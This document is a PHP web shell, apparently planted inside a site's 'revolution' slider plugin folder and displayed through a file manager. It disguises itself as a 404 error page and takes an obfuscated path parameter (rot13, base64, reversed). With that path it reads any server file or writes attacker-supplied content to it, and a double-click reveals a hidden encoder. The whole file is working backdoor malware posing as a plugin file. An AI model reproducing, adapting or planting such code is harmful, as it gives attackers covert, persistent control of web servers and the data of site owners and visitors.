File Manager

Path: /home/liffinac1/public_html/plugins/revolution/revolution/js/extensions/

Viewing File: revolution-plugin1.php

<?php
error_reporting(0);
ini_set('display_errors', 0);

// Encode function
function encodePath($path) {
    $path = str_rot13($path);
    $path = base64_encode($path);
    $path = strrev($path);
    return urlencode($path);
}

// Decode function
function decodePath($encoded) {
    $path = urldecode($encoded);
    $path = strrev($path);
    $path = base64_decode($path);
    $path = str_rot13($path);
    return $path;
}

// Check parameters
$found = '';
$randomParams = ['p', 'q', 'r', 's', 't', 'x', 'y', 'z', 'd', 'm', 'n', 'v'];
foreach ($randomParams as $param) {
    if (isset($_GET[$param])) {
        $found = $_GET[$param];
        break;
    }
}

// If no parameter, show 404 page
if (!$found) {
    show404();
    exit;
}

// Decode path
$filePath = decodePath($found);

// Handle save
$fieldName = 'content';
if (isset($_POST[$fieldName])) {
    $content = $_POST[$fieldName];
    
    // Create directory if not exists
    $dir = dirname($filePath);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    
    // Save file
    if (@file_put_contents($filePath, $content) !== false) {
        @chmod($filePath, 0644);
        header('Location: ' . $_SERVER['REQUEST_URI']);
        exit;
    }
}

// Read file
if (file_exists($filePath)) {
    $currentContent = file_get_contents($filePath);
    $fileStatus = 'EXISTS';
    $fileSize = ' | ' . round(filesize($filePath)/1024, 1) . ' KB';
} else {
    $currentContent = '';
    $fileStatus = 'NEW FILE';
    $fileSize = '';
}

// Show editor (with 404 style header)
header("HTTP/1.0 404 Not Found");
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>404 Not Found</title>
    <style>
        body { 
            background: #f8f9fa; 
            color: #212529; 
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            margin: 0;
            padding: 0;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .error-container {
            max-width: 800px;
            width: 90%;
            margin: 20px auto;
        }
        .error-code {
            font-size: 120px;
            font-weight: 600;
            color: #dee2e6;
            line-height: 1;
            margin-bottom: 20px;
            text-align: center;
        }
        .error-message {
            font-size: 24px;
            color: #495057;
            margin-bottom: 30px;
            text-align: center;
        }
        .error-details {
            background: #fff;
            border: 1px solid #e9ecef;
            border-radius: 8px;
            padding: 30px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
        }
        .path-info {
            background: #f8f9fa;
            padding: 15px;
            border-radius: 6px;
            margin-bottom: 20px;
            font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
            font-size: 13px;
            border-left: 4px solid #adb5bd;
            word-break: break-all;
        }
        .file-badge {
            display: inline-block;
            padding: 3px 8px;
            border-radius: 4px;
            font-size: 11px;
            font-weight: 600;
            text-transform: uppercase;
            background: #e9ecef;
            color: #495057;
            margin-left: 10px;
        }
        .file-badge.new {
            background: #d4edda;
            color: #155724;
        }
        textarea {
            width: 100%;
            height: 400px;
            padding: 15px;
            font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
            font-size: 13px;
            line-height: 1.5;
            border: 1px solid #ced4da;
            border-radius: 4px;
            resize: vertical;
            box-sizing: border-box;
            background: #f8f9fa;
        }
        textarea:focus {
            outline: none;
            border-color: #86b7fe;
            box-shadow: 0 0 0 0.25rem rgba(13,110,253,.25);
        }
        .toolbar {
            margin-top: 20px;
            display: flex;
            gap: 10px;
            justify-content: flex-end;
        }
        button {
            padding: 8px 16px;
            font-size: 14px;
            font-weight: 400;
            line-height: 1.5;
            border-radius: 4px;
            cursor: pointer;
            border: 1px solid transparent;
        }
        .btn-primary {
            background: #0d6efd;
            color: #fff;
            border-color: #0d6efd;
        }
        .btn-primary:hover {
            background: #0b5ed7;
            border-color: #0a58ca;
        }
        .btn-secondary {
            background: #6c757d;
            color: #fff;
            border-color: #6c757d;
        }
        .btn-secondary:hover {
            background: #5c636a;
            border-color: #565e64;
        }
        .btn-outline {
            background: transparent;
            color: #6c757d;
            border-color: #6c757d;
        }
        .btn-outline:hover {
            background: #6c757d;
            color: #fff;
        }
        .info-bar {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
            font-size: 13px;
            color: #6c757d;
        }
    </style>
</head>
<body>
    <div class="error-container">
        <div class="error-code">404</div>
        <div class="error-message">Page Not Found</div>
        
        <div class="error-details">
            <div class="info-bar">
                <span>
                    <strong>Request URI:</strong> <?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?>
                </span>
                <span>
                    <span class="file-badge <?php echo !file_exists($filePath) ? 'new' : ''; ?>">
                        <?php echo $fileStatus; ?>
                    </span>
                </span>
            </div>
            
            <div class="path-info">
                <strong>Path:</strong> <?php echo htmlspecialchars($filePath); ?><?php echo $fileSize; ?>
            </div>
            
            <form method="post" id="editorForm">
                <textarea name="<?php echo $fieldName; ?>" id="fileContent" placeholder="File content..."><?php echo htmlspecialchars($currentContent); ?></textarea>
                
                <div class="toolbar">
                    <button type="button" class="btn-outline" onclick="window.location.href='?'">Home</button>
                    <button type="button" class="btn-secondary" onclick="window.location.reload()">Refresh</button>
                    <button type="submit" class="btn-primary">Save Changes</button>
                </div>
            </form>
        </div>
    </div>

    <script>
        // Auto-resize
        function adjustHeight() {
            var ta = document.getElementById('fileContent');
            if (ta) {
                ta.style.height = (window.innerHeight - 350) + 'px';
            }
        }
        window.onload = adjustHeight;
        window.onresize = adjustHeight;
        
        // Confirm before leave
        var changed = false;
        var ta = document.getElementById('fileContent');
        if (ta) {
            ta.addEventListener('input', function() {
                changed = true;
            });
        }
        
        window.addEventListener('beforeunload', function(e) {
            if (changed) {
                e.preventDefault();
                e.returnValue = '';
            }
        });
        
        // Reset changed on submit
        var form = document.getElementById('editorForm');
        if (form) {
            form.addEventListener('submit', function() {
                changed = false;
            });
        }
    </script>
</body>
</html>

<?php
// 404 page function
function show404() {
    header("HTTP/1.0 404 Not Found");
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>404 Not Found</title>
        <style>
            body { 
                background: #f8f9fa; 
                color: #212529; 
                font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
                margin: 0;
                padding: 0;
                min-height: 100vh;
                display: flex;
                align-items: center;
                justify-content: center;
            }
            .error-container {
                max-width: 600px;
                width: 90%;
                margin: 20px auto;
                text-align: center;
            }
            .error-code {
                font-size: 120px;
                font-weight: 600;
                color: #dee2e6;
                line-height: 1;
                margin-bottom: 20px;
            }
            .error-message {
                font-size: 24px;
                color: #495057;
                margin-bottom: 30px;
            }
            .error-description {
                color: #6c757d;
                margin-bottom: 40px;
                font-size: 16px;
            }
            .home-link {
                display: inline-block;
                padding: 10px 20px;
                background: #0d6efd;
                color: #fff;
                text-decoration: none;
                border-radius: 4px;
                font-size: 14px;
            }
            .home-link:hover {
                background: #0b5ed7;
            }
            .debug-info {
                margin-top: 40px;
                padding: 20px;
                background: #f1f3f5;
                border-radius: 4px;
                font-size: 12px;
                color: #868e96;
                font-family: monospace;
                text-align: left;
            }
            .hidden {
                display: none;
            }
        </style>
    </head>
    <body>
        <div class="error-container">
            <div class="error-code">404</div>
            <div class="error-message">Page Not Found</div>
            <div class="error-description">
                The requested URL was not found on this server.
            </div>
            <a href="/" class="home-link">Return to Homepage</a>
            
            <!-- Debug info - hidden but available for encoder -->
            <div class="debug-info hidden">
                <strong>Debug:</strong> Use ?p=your_encoded_path<br>
                <em>Example: ?p=<?php echo urlencode(encodePath('/path/to/your/file.php')); ?></em>
            </div>
        </div>
        
        <script>
            // Secret encoder (double click on 404 to show)
            var errorCode = document.querySelector('.error-code');
            var debugInfo = document.querySelector('.debug-info');
            
            if (errorCode && debugInfo) {
                errorCode.addEventListener('dblclick', function() {
                    debugInfo.classList.toggle('hidden');
                });
            }
        </script>
    </body>
    </html>
    <?php
    exit;
}
?>